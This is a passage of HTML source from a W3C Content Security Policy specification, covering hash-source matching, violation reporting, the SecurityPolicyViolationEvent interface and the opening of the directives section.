</section>\n\n          <section id=\"valid-hashes\">\n            <h5 aria-level=\"4\" role=\"heading\" id=\"h5_valid-hashes\"><span class=\"secno\">3.2.2.4 </span>Valid Hashes</h5>\n\n            <p>An <dfn id=\"dfn-element-s-contents\">element's contents</dfn> are\n            <a href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-block's-source\">the script block's source</a>\n            for <code>script</code> elements, or the value of the element's\n            <a href=\"http://dom.spec.whatwg.org/#dom-node-textcontent\"><code>textContent</code></a>\n            IDL attribute for non-<code>script</code> elements such as\n            <code>style</code>.</p>\n\n            <p>The <dfn id=\"dfn-algorithm-digest-of-an-element-s-contents\"><code>algorithm</code> digest of an element's contents</dfn> is the\n            result of applying <code>algorithm</code> to the\n            <a href=\"#dfn-element-s-contents\">element's contents</a>.\n\n            </p><p>To determine whether <var>element</var> has <dfn id=\"dfn-a-valid-hash\">a valid hash</dfn> for a set of\n            source expressions, execute the following steps:</p>\n\n            <ol>\n              <li>Let <var>hashes</var> be a list of all <code>hash-source</code>\n              expressions in the set of source expressions.</li>\n              <li>For each <var>hash</var> in <var>hashes</var>:\n                <ol>\n                  <li>Let <var>algorithm</var> be:\n                    <ul>\n                      <li>SHA-256 if the <code>hash-algo</code> component of <var>hash</var> is a case-insensitive match for the string \"sha256\"</li>\n                      <li>SHA-384 if the <code>hash-algo</code> component of <var>hash</var> is a case-insensitive match for the string \"sha384\"</li>\n                      <li>SHA-512 if the <code>hash-algo</code> component of <var>hash</var> is a case-insensitive match for the string \"sha512\"</li>\n                    </ul>\n                    (SHA-256, SHA-384, and SHA-512 are the digest algorithms\n                    <a href=\"http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf\">defined by the NIST</a>)\n                  </li>\n                  <li>Let <var>expected</var> be the <code>hash-value</code> component of <var>hash</var>.</li>\n                  <li>Let <var>actual</var> be the <a href=\"http://tools.ietf.org/html/rfc4648#section-4\">base64 encoding</a>\n                  of the binary <a href=\"#dfn-algorithm-digest-of-an-element-s-contents\"><var>algorithm</var> digest of <var>element</var>'s\n                  contents</a>.</li>\n                  <li>If <var>actual</var> is a case-sensitive match for\n                  <var>expected</var>, return true and abort these steps.</li>\n                </ol>\n              </li>\n              <li>Return false.</li>\n            </ol>\n\n            <p>Note that if an element has an invalid hash, it would be helpful\n            if the user agent reported the failure to the author by adding\n            a warning message containing the <var>actual</var> hash value.</p>\n        </section>\n\n        <section id=\"media-type-list\">\n          <h5 aria-level=\"4\" role=\"heading\" id=\"h5_media-type-list\"><span class=\"secno\">3.2.2.5 </span>Media Type List</h5>\n\n          <p>The experimental\n          <a href=\"#plugin-types\"><code>plugin-types</code></a>\n          directive uses a value consisting of a <dfn id=\"dfn-media-type-list\">media type list</dfn>.</p>\n\n          <p>Each <dfn id=\"dfn-media-type\">media type</dfn> in the media type list represents a\n          specific type of resource that can be retrieved and used to\n          instantiate a <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#plugin\">plugin</a>\n          in the protected resource.</p>\n\n<pre>media-type-list   = media-type *( 1*WSP media-type )\nmedia-type        = &lt;type from RFC 2045&gt; \"/\" &lt;subtype from RFC 2045&gt;\n</pre>\n\n          <section id=\"parsing-2\">\n            <h6 aria-level=\"5\" role=\"heading\" id=\"h6_parsing-2\"><span class=\"secno\">3.2.2.5.1 </span>Parsing</h6>\n\n            <p>To <dfn id=\"parse-a-media-type-list\">parse a media type\n            list</dfn> <var>media type list</var>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> use an\n            algorithm equivalent to the following:</p>\n\n            <ol>\n              <li>Let the <var>set of media types</var> be the empty set.</li>\n\n              <li>For each token returned by <a href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting\n              <var>media type list</var> on spaces</a>, if the token matches the\n              grammar for <code>media-type</code>, add the token to the\n              <var>set of media types</var>. Otherwise ignore the token.</li>\n\n              <li>Return the <var>set of media types</var>.</li>\n            </ol>\n          </section>\n\n          <section id=\"matching-1\">\n            <h6 aria-level=\"5\" role=\"heading\" id=\"h6_matching-1\"><span class=\"secno\">3.2.2.5.2 </span>Matching</h6>\n\n            <p>A media type <dfn id=\"dfn-matches-a-media-type-list\">matches a media type list</dfn> if, and only\n            if, the media type is a case-insensitive match for at least one\n            token in the set of media types obtained by <a href=\"#parse-a-media-type-list\">parsing\n            the media type list</a>.\n          </p></section>\n        </section>\n        <section id=\"reporting\">\n          <h5 aria-level=\"4\" role=\"heading\" id=\"h5_reporting\"><span class=\"secno\">3.2.2.6 </span>Reporting</h5>\n\n          <p>To <dfn id=\"dfn-strip-uri-for-reporting\">strip <code>uri</code> for reporting</dfn>, the user agent\n          <em class=\"rfc2119\" title=\"MUST\">MUST</em> use an algorithm equivalent to the following:</p>\n\n          <ol>\n            <li>If the origin of <var>uri</var> is a <a href=\"#dfn-globally-unique-identifier\">globally unique identifier</a>\n            (for example, <var>uri</var> has a scheme of <code>data</code>, <code>blob</code>, or <code>file</code>), then\n            abort these steps, and return the ASCII serialization of <var>uri</var>'s scheme.</li>\n            <li>If the origin of <var>uri</var> is not the same as the origin\n            of the protected resource, then abort these steps, and return the\n            ASCII serialization of <var>uri</var>'s origin.</li>\n            <li>Return <var>uri</var>, with any <a href=\"http://url.spec.whatwg.org/#concept-url-fragment\">&lt;fragment&gt;</a>\n            component removed.</li>\n          </ol>\n\n          <p>To <dfn id=\"dfn-generate-a-violation-report-object\">generate a violation report object</dfn>, the user agent\n          <em class=\"rfc2119\" title=\"MUST\">MUST</em> use an algorithm equivalent to the following:</p>\n\n          <ol>\n            <li>Prepare a JSON object <var>violation</var> with the\n            following keys and values:\n\n              <dl>\n                <dt id=\"violation-report-blocked-uri\">blocked-uri</dt>\n                <dd>The URI of the resource that was prevented from loading,\n                <a href=\"#dfn-strip-uri-for-reporting\">stripped for reporting</a>,\n                or the empty string if the resource has no URI (inline script and\n                inline style, for example).</dd>\n\n                <dt id=\"violation-report-document-uri\">document-uri</dt>\n                <dd>The <a href=\"http://www.w3.org/TR/html5/dom.html#the-document%27s-address\">address</a>\n                of the protected resource, <a href=\"#dfn-strip-uri-for-reporting\">stripped for reporting</a>.</dd>\n\n                <dt id=\"violation-report-effective-directive\">effective-directive</dt>\n                <dd>The name of the policy directive that was violated. This will\n                contain the directive whose enforcement triggered the violation,\n                even if that directive does not explicitly appear in the policy,\n                but is implicitly activated via the <code>default-src</code>\n                directive.</dd>\n\n                <dt id=\"violation-report-original-policy\">original-policy</dt>\n                <dd>The original policy, as received by the user agent.</dd>\n\n                <dt id=\"violation-report-referrer\">referrer</dt>\n                <dd>The <a href=\"http://www.w3.org/TR/html5/dom.html#dom-document-referrer\">referrer</a>\n                attribute of the protected resource, or the empty string if the\n                protected resource has no referrer.</dd>\n\n                <dt id=\"violation-report-status-code\">status-code</dt>\n                <dd>The <code>status-code</code> of the HTTP response that\n                contained the protected resource, if the protected resource was\n                obtained over HTTP. Otherwise, the number 0.</dd>\n\n                <dt id=\"violation-report-violated-directive\">violated-directive</dt>\n                <dd>The policy directive that was violated, as it appears in the\n                policy. This will contain the <code>default-src</code> directive\n                in the case of violations caused by falling back to the\n                <a href=\"#dfn-default-sources\">default sources</a> when enforcing\n                a directive.</dd>\n              </dl>\n            </li>\n            <li>If a specific line or a specific file can be identified as the\n            cause of the violation (for example, script execution that violates\n            the <code>script-src</code> directive), the user agent <em class=\"rfc2119\" title=\"MAY\">MAY</em> add the\n            following keys and values to <var>violation</var>:\n\n              <dl>\n                <dt id=\"violation-report-source-file\">source-file</dt>\n                <dd>The URI of the resource where the violation occurred,\n                <a href=\"#dfn-strip-uri-for-reporting\">stripped for reporting</a>.</dd>\n\n                <dt id=\"violation-report-line-number\">line-number</dt>\n                <dd>The line number in <code>source-file</code> on which\n                the violation occurred.</dd>\n\n                <dt id=\"violation-report-column-number\">column-number</dt>\n                <dd>The column number in <code>source-file</code> on which\n                the violation occurred.</dd>\n              </dl>\n            </li>\n            <li>Return <var>violation</var>.</li>\n          </ol>\n\n          <p>To <dfn id=\"dfn-send-violation-reports\">send violation reports</dfn>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> use an\n          algorithm equivalent to the following:</p>\n\n          <ol>\n            <li>Prepare a JSON object <var>report object</var> with a single\n            key, <code>csp-report</code>, whose value is the result of\n            <a href=\"#dfn-generate-a-violation-report-object\">generating a violation report object</a>.</li>\n            <li>Let <var>report body</var> be the JSON stringification of\n            <var>report object</var>.</li>\n            <li>For each <var>report URI</var> in the <a href=\"#dfn-set-of-report-uris\">set of report URIs</a>:\n              <ol>\n                <li>If the user agent has already sent a violation report for\n                the protected resource to <var>report URI</var>, and that report\n                contained an entity body that exactly matches\n                <var>report body</var>, the user agent <em class=\"rfc2119\" title=\"MAY\">MAY</em> abort these\n                steps and continue to the next <var>report URI</var>.</li>\n                <li><a href=\"http://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a>\n                to <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetch</a>\n                <var>report URI</var> from the origin of the protected resource,\n                with the synchronous flag <em>not</em> set, using HTTP method\n                <code>POST</code>, with a <code>Content-Type</code> header field\n                of <code>application/csp-report</code>, and an entity body\n                consisting of <var>report body</var>. If the origin of\n                <var>report URI</var> is not the same as the origin of the protected\n                resource, the block cookies flag <em class=\"rfc2119\" title=\"MUST\">MUST</em> also be set. The\n                user agent <em class=\"rfc2119\" title=\"MUST NOT\">MUST NOT</em> follow redirects when fetching this\n                resource. (Note: The user agent ignores the fetched resource.)\n                The <a href=\"http://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a>\n                for this <a href=\"http://www.w3.org/TR/html5/webappapis.html#concept-task\">task</a>\n                is the <dfn id=\"dfn-content-security-policy-task-source\">Content Security Policy task source</dfn>.</li>\n              </ol>\n            </li>\n          </ol>\n\n          <p>To <dfn id=\"dfn-report-a-violation\">report a violation</dfn>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em>:</p>\n          <ol>\n            <li><a href=\"#dfn-fire-a-violation-event\">Fire a violation event</a> at\n            the protected resource's <a href=\"http://www.w3.org/TR/html5/dom.html#document\"><code>Document</code></a>, and</li>\n            <li>If the <a href=\"#dfn-set-of-report-uris\">set of report URIs</a>\n            is non-empty, <a href=\"#dfn-send-violation-reports\">send violation reports</a>\n            to each.</li>\n          </ol>\n        </section>\n      </section>\n\n      <section id=\"processing-model\">\n        <h4 aria-level=\"3\" role=\"heading\" id=\"h4_processing-model\"><span class=\"secno\">3.2.3 </span>Processing Model</h4>\n\n        <p>To <dfn id=\"enforce\">enforce</dfn> a policy, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em>\n        <a href=\"#parse-a-policy\">parse the policy</a> and enforce each of\n        the directives contained in the policy, where the specific\n        requirements for enforcing each directive are defined separately for\n        each directive (See <a href=\"#sec-directives\">Directives</a>,\n        below).</p>\n\n        <p>Generally speaking, enforcing a directive prevents the protected\n        resource from performing certain actions, such as loading scripts from\n        URIs other than those indicated in a source list. These restrictions\n        make it more difficult for an attacker to abuse an injection\n        vulnerability in the resource because the attacker will be unable to\n        usurp the resource's privileges that have been restricted in this\n        way.</p>\n\n        <p>To <dfn id=\"monitor\">monitor</dfn> a policy, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em>\n        <a href=\"#parse-a-policy\">parse the policy</a> and monitor each of\n        the directives contained in the policy.</p>\n\n        <p>Monitoring a directive does not prevent the protected resource from\n        undertaking any actions. Instead, any actions that would have been\n        prevented by the directives are instead reported to the developer of\n        the web application. Monitoring a policy is useful for testing\n        whether enforcing the policy will cause the web application to\n        malfunction.</p>\n\n        <p>A server <em class=\"rfc2119\" title=\"MAY\">MAY</em> cause user agents to monitor one policy while enforcing\n        another policy by returning both <code>Content-Security-Policy</code>\n        and <code>Content-Security-Policy-Report-Only</code> header fields.\n        For example, if a server operator is using one policy but wishes to\n        experiment with a stricter policy, the server operator can monitor\n        the stricter policy while enforcing the original policy. Once the\n        server operator is satisfied that the stricter policy does not break\n        the web application, the server operator can start enforcing the\n        stricter policy.</p>\n\n        <p>If the user agent monitors or enforces a policy that does not\n        contain any directives, the user agent <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> report a warning message\n        in the developer console.</p>\n\n        <p>If the user agent monitors or enforces a policy that contains\n        an unrecognized directive, the user agent <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> report a warning\n        message in the developer console indicating the name of the\n        unrecognized directive.</p>\n\n        <p>Whenever a user agent <a href=\"http://www.w3.org/TR/workers/#run-a-worker\">runs a worker</a>:\n        [<cite><a class=\"bibref\" href=\"#bib-WEBWORKERS\">WEBWORKERS</a></cite>]</p>\n\n        <ul>\n          <li>If the worker's script's origin is a <a href=\"#dfn-globally-unique-identifier\">globally unique identifier</a>\n          (for example, the worker's script's URL has a scheme of\n          <code>data</code>, <code>blob</code>, or <code>file</code>), then:\n          <ul>\n            <li>If the user agent is enforcing a CSP policy for the <var>owner\n            document</var>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> enforce the CSP policy for the\n            worker.</li>\n\n            <li>If the user agent is monitoring a CSP policy for the <var>owner\n            document</var>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> monitor the CSP policy for the\n            worker.</li>\n          </ul></li>\n          <li>Otherwise:\n          <ul>\n            <li>If the worker's script is delivered with a <code>Content-Security-Policy</code>\n            HTTP header containing the value <var>policy</var>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em>\n            <a href=\"#enforce\">enforce <var>policy</var></a> for the\n            worker.</li>\n            <li>If the worker's script is delivered with a <code>Content-Security-Policy-Report-Only</code>\n            HTTP header containing the value <var>policy</var>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em>\n            <a href=\"#monitor\">monitor <var>policy</var></a> for the\n            worker.</li>\n          </ul></li>\n        </ul>\n\n        <p>Whenever a user agent creates a <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#an-iframe-srcdoc-document\">an\n        <code>iframe</code> <code>srcdoc</code> document</a> in a browsing\n        context nested in the protected resource, if the user agent is\n        enforcing any CSP policies for the protected resource, the user agent\n        <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#enforce\">enforce</a> those CSP policies on the\n        <code>iframe</code> <code>srcdoc</code> document as well.</p>\n\n        <p>Whenever a user agent creates a <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#an-iframe-srcdoc-document\">an\n        <code>iframe</code> <code>srcdoc</code> document</a> in a browsing\n        context nested in the protected resource, if the user agent is\n        monitoring any CSP policies for the protected resource, the user agent\n        <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#monitor\">monitor</a> those CSP policies on the\n        <code>iframe</code> <code>srcdoc</code> document as well.</p>\n      </section>\n\n      <section id=\"script-interfaces\">\n        <h4 aria-level=\"3\" role=\"heading\" id=\"h4_script-interfaces\"><span class=\"secno\">3.2.4 </span>Script Interfaces</h4>\n\n        <section id=\"securitypolicyviolationevent-events\">\n          <h5 aria-level=\"4\" role=\"heading\" id=\"h5_securitypolicyviolationevent-events\"><span class=\"secno\">3.2.4.1 </span><code>SecurityPolicyViolationEvent</code> Events</h5>\n\n          <pre class=\"idl\"><span class=\"idlInterface\" id=\"idl-def-SecurityPolicyViolationEvent\">[<span class=\"extAttr\">Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)</span>]\ninterface <span class=\"idlInterfaceID\">SecurityPolicyViolationEvent</span> : <span class=\"idlSuperclass\">Event</span> {\n<span class=\"idlAttribute\">    readonly    attribute <span class=\"idlAttrType\">DOMString</span> <span class=\"idlAttrName\"><a href=\"#widl-SecurityPolicyViolationEvent-documentURI\">documentURI</a></span>;</span>\n<span class=\"idlAttribute\">    readonly    attribute <span class=\"idlAttrType\">DOMString</span> <span class=\"idlAttrName\"><a href=\"#widl-SecurityPolicyViolationEvent-referrer\">referrer</a></span>;</span>\n<span class=\"idlAttribute\">    readonly    attribute <span class=\"idlAttrType\">DOMString</span> <span class=\"idlAttrName\"><a href=\"#widl-SecurityPolicyViolationEvent-blockedURI\">blockedURI</a></span>;</span>\n<span class=\"idlAttribute\">    readonly    attribute <span class=\"idlAttrType\">DOMString</span> <span class=\"idlAttrName\"><a href=\"#widl-SecurityPolicyViolationEvent-violatedDirective\">violatedDirective</a></span>;</span>\n<span class=\"idlAttribute\">    readonly    attribute <span class=\"idlAttrType\">DOMString</span> <span class=\"idlAttrName\"><a href=\"#widl-SecurityPolicyViolationEvent-effectiveDirective\">effectiveDirective</a></span>;</span>\n<span class=\"idlAttribute\">    readonly    attribute <span class=\"idlAttrType\">DOMString</span> <span class=\"idlAttrName\"><a href=\"#widl-SecurityPolicyViolationEvent-originalPolicy\">originalPolicy</a></span>;</span>\n<span class=\"idlAttribute\">    readonly    attribute <span class=\"idlAttrType\">DOMString</span> <span class=\"idlAttrName\"><a href=\"#widl-SecurityPolicyViolationEvent-sourceFile\">sourceFile</a></span>;</span>\n<span class=\"idlAttribute\">    readonly    attribute <span class=\"idlAttrType\">long</span>      <span class=\"idlAttrName\"><a href=\"#widl-SecurityPolicyViolationEvent-lineNumber\">lineNumber</a></span>;</span>\n<span class=\"idlAttribute\">    readonly    attribute <span class=\"idlAttrType\">long</span>      <span class=\"idlAttrName\"><a href=\"#widl-SecurityPolicyViolationEvent-columnNumber\">columnNumber</a></span>;</span>\n};</span></pre><section id=\"attributes\"><h6 aria-level=\"5\" role=\"heading\" id=\"h6_attributes\"><span class=\"secno\">3.2.4.1.1 </span>Attributes</h6><dl class=\"attributes\"><dt id=\"widl-SecurityPolicyViolationEvent-blockedURI\"><code>blockedURI</code> of type <span class=\"idlAttrType\">DOMString</span>, readonly   </dt><dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEvent-columnNumber\"><code>columnNumber</code> of type <span class=\"idlAttrType\">long</span>, readonly   </dt><dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEvent-documentURI\"><code>documentURI</code> of type <span class=\"idlAttrType\">DOMString</span>, readonly   </dt><dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEvent-effectiveDirective\"><code>effectiveDirective</code> of type <span class=\"idlAttrType\">DOMString</span>, readonly   </dt><dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEvent-lineNumber\"><code>lineNumber</code> of type <span class=\"idlAttrType\">long</span>, readonly   </dt><dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEvent-originalPolicy\"><code>originalPolicy</code> of type <span class=\"idlAttrType\">DOMString</span>, readonly   </dt><dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEvent-referrer\"><code>referrer</code> of type <span class=\"idlAttrType\">DOMString</span>, readonly   </dt><dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEvent-sourceFile\"><code>sourceFile</code> of type <span class=\"idlAttrType\">DOMString</span>, readonly   </dt><dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEvent-violatedDirective\"><code>violatedDirective</code> of type <span class=\"idlAttrType\">DOMString</span>, readonly   </dt><dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.</dd></dl></section>\n          <pre class=\"idl\"><span class=\"idlDictionary\" id=\"idl-def-SecurityPolicyViolationEventInit\">dictionary <span class=\"idlDictionaryID\">SecurityPolicyViolationEventInit</span> : <span class=\"idlSuperclass\">EventInit</span> {\n<span class=\"idlMember\">    <span class=\"idlMemberType\">DOMString</span> <span class=\"idlMemberName\"><a href=\"#widl-SecurityPolicyViolationEventInit-documentURI\">documentURI</a></span>;</span>\n<span class=\"idlMember\">    <span class=\"idlMemberType\">DOMString</span> <span class=\"idlMemberName\"><a href=\"#widl-SecurityPolicyViolationEventInit-referrer\">referrer</a></span>;</span>\n<span class=\"idlMember\">    <span class=\"idlMemberType\">DOMString</span> <span class=\"idlMemberName\"><a href=\"#widl-SecurityPolicyViolationEventInit-blockedURI\">blockedURI</a></span>;</span>\n<span class=\"idlMember\">    <span class=\"idlMemberType\">DOMString</span> <span class=\"idlMemberName\"><a href=\"#widl-SecurityPolicyViolationEventInit-violatedDirective\">violatedDirective</a></span>;</span>\n<span class=\"idlMember\">    <span class=\"idlMemberType\">DOMString</span> <span class=\"idlMemberName\"><a href=\"#widl-SecurityPolicyViolationEventInit-effectiveDirective\">effectiveDirective</a></span>;</span>\n<span class=\"idlMember\">    <span class=\"idlMemberType\">DOMString</span> <span class=\"idlMemberName\"><a href=\"#widl-SecurityPolicyViolationEventInit-originalPolicy\">originalPolicy</a></span>;</span>\n<span class=\"idlMember\">    <span class=\"idlMemberType\">DOMString</span> <span class=\"idlMemberName\"><a href=\"#widl-SecurityPolicyViolationEventInit-sourceFile\">sourceFile</a></span>;</span>\n<span class=\"idlMember\">    <span class=\"idlMemberType\">long</span>      <span class=\"idlMemberName\"><a href=\"#widl-SecurityPolicyViolationEventInit-lineNumber\">lineNumber</a></span>;</span>\n<span class=\"idlMember\">    <span class=\"idlMemberType\">long</span>      <span class=\"idlMemberName\"><a href=\"#widl-SecurityPolicyViolationEventInit-columnNumber\">columnNumber</a></span>;</span>\n};</span></pre><section id=\"dictionary-securitypolicyviolationeventinit-members\"><h6 aria-level=\"5\" role=\"heading\" id=\"h6_dictionary-securitypolicyviolationeventinit-members\"><span class=\"secno\">3.2.4.1.2 </span>Dictionary <a class=\"idlType\" href=\"#idl-def-SecurityPolicyViolationEventInit\"><code>SecurityPolicyViolationEventInit</code></a> Members</h6><dl class=\"dictionary-members\"><dt id=\"widl-SecurityPolicyViolationEventInit-blockedURI\"><code>blockedURI</code> of type <span class=\"idlMemberType\">DOMString</span></dt><dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEventInit-columnNumber\"><code>columnNumber</code> of type <span class=\"idlMemberType\">long</span></dt><dd>Refer to the <a href=\"#violation-report-column-number\"><code>line-number</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEventInit-documentURI\"><code>documentURI</code> of type <span class=\"idlMemberType\">DOMString</span></dt><dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEventInit-effectiveDirective\"><code>effectiveDirective</code> of type <span class=\"idlMemberType\">DOMString</span></dt><dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEventInit-lineNumber\"><code>lineNumber</code> of type <span class=\"idlMemberType\">long</span></dt><dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEventInit-originalPolicy\"><code>originalPolicy</code> of type <span class=\"idlMemberType\">DOMString</span></dt><dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEventInit-referrer\"><code>referrer</code> of type <span class=\"idlMemberType\">DOMString</span></dt><dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEventInit-sourceFile\"><code>sourceFile</code> of type <span class=\"idlMemberType\">DOMString</span></dt><dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.</dd><dt id=\"widl-SecurityPolicyViolationEventInit-violatedDirective\"><code>violatedDirective</code> of type <span class=\"idlMemberType\">DOMString</span></dt><dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.</dd></dl></section>\n          <section id=\"firing-events-using-the-securitypolicyviolationevent-interface\">\n            <h6 aria-level=\"5\" role=\"heading\" id=\"h6_firing-events-using-the-securitypolicyviolationevent-interface\"><span class=\"secno\">3.2.4.1.3 </span>Firing events using the <code>SecurityPolicyViolationEvent</code> interface</h6>\n\n            <p>To <dfn id=\"dfn-fire-a-violation-event\">fire a violation event</dfn>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> use an algorithm equivalent to\n            the following:</p>\n\n            <ol>\n              <li>Let <var>report object</var> be the result of\n              <a href=\"#dfn-generate-a-violation-report-object\">generating a violation report object</a>.</li>\n\n              <li><a href=\"http://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a>\n              to <a href=\"http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#concept-event-fire\">fire an event</a>\n              named <code>securitypolicyviolation</code> using the <code>SecurityPolicyViolationEvent</code> interface\n              with the following initializations:\n\n                <ul>\n                  <li><code>blockedURI</code> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be initialized to the value of <var>report object</var>'s <code>blocked-uri</code> key.</li>\n                  <li><code>documentURI</code> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be initialized to the value of <var>report object</var>'s <code>document-uri</code> key.</li>\n                  <li><code>effectiveDirective</code> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be initialized to the value of <var>report object</var>'s <code>effective-directive</code> key.</li>\n                  <li><code>originalPolicy</code> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be initialized to the value of <var>report object</var>'s <code>original-policy</code> key.</li>\n                  <li><code>referrer</code> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be initialized to the value of <var>report object</var>'s <code>referrer</code> key.</li>\n                  <li><code>violatedDirective</code> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be initialized to the value of <var>report object</var>'s <code>violated-directive</code> key.</li>\n                  <li><code>sourceFile</code> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be initialized to the value of <var>report object</var>'s <code>source-file</code> key.</li>\n                  <li><code>lineNumber</code> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be initialized to the value of <var>report object</var>'s <code>line-number</code> key.</li>\n                  <li><code>columnNumber</code> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be initialized to the value of <var>report object</var>'s <code>column-number</code> key.</li>\n                </ul>\n              </li>\n            </ol>\n\n            <p>The <a href=\"http://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a>\n            for this <a href=\"http://www.w3.org/TR/html5/webappapis.html#concept-task\">task</a>\n            is the <a href=\"#dfn-content-security-policy-task-source\">Content Security Policy task source</a>.</p>\n          </section>\n\n        </section>\n    </section>\n    <section typeof=\"bibo:Chapter\" resource=\"#ref\" rel=\"bibo:Chapter\" id=\"directives\">\n      <h4 id=\"sec-directives\" aria-level=\"3\" role=\"heading\"><span class=\"secno\">3.2.5 </span>Directives</h4>\n\n      <p>This section describes the content security policy directives\n      introduced in this specification. Note that directive names are\n      case insensitive.</p>\n\n      <p>In order to protect against Cross-Site Scripting (XSS), web\n      application authors <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> include\n      </p><ul>\n        <li>both the <code>script-src</code> and <code>object-src</code>\n        directives, or</li>\n\n        <li>include a <code>default-src</code> directive, which covers both\n        scripts and plugins.</li>\n      </ul>\n\n      <p>In either case, authors <em class=\"rfc2119\" title=\"SHOULD NOT\">SHOULD NOT</em> include either\n      <code>'unsafe-inline'</code> or <code>data:</code> as valid sources in\n      their policies. Both enable XSS attacks by allowing code to be included\n      directly in the document itself; they are best avoided completely.</p>\n\n      <section id=\"base-uri\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_base-uri\"><span class=\"secno\">3.2.5.1 </span><code>base-uri</code></h5>\n\n        <p>The <code>base-uri</code> directive restricts the URIs that can be\n        used to specify a <a href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document's base URL</a>.\n        The syntax for the name and value of the directive are described by\n        the following ABNF grammar:</p>\n\n<pre>directive-name    = \"base-uri\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-base-uris\">allowed base URIs</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>base-uri</code>\n        directive's value as a source list</a>.</p>\n\n        <p>Step 4 of the algorithm defined in HTML5 to obtain a\n        <em>document's base URL</em> <em class=\"rfc2119\" title=\"MUST\">MUST</em> be changed to:</p>\n\n        <ol start=\"4\">\n          <li>If the previous step was not successful, or the result of the\n          previous step does not <a href=\"#matches-a-source-list\">match</a>\n          the <a href=\"#dfn-allowed-base-uris\">allowed base URIs</a>, then\n          the <a href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base URL</a>\n          is <var>fallback base URL</var>. Otherwise, it is the result of the\n          previous step.</li>\n        </ol>\n      </section>\n\n      <section id=\"child-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_child-src\"><span class=\"secno\">3.2.5.2 </span><code>child-src</code></h5>\n\n        <p>The <code>child-src</code> governs the creation of\n        <a href=\"#dfn-nested-browsing-context\">nested</a>\n        and <a href=\"#dfn-auxiliary-browsing-context\">auxiliary browsing contexts</a>,\n        as well as Worker execution contexts. The 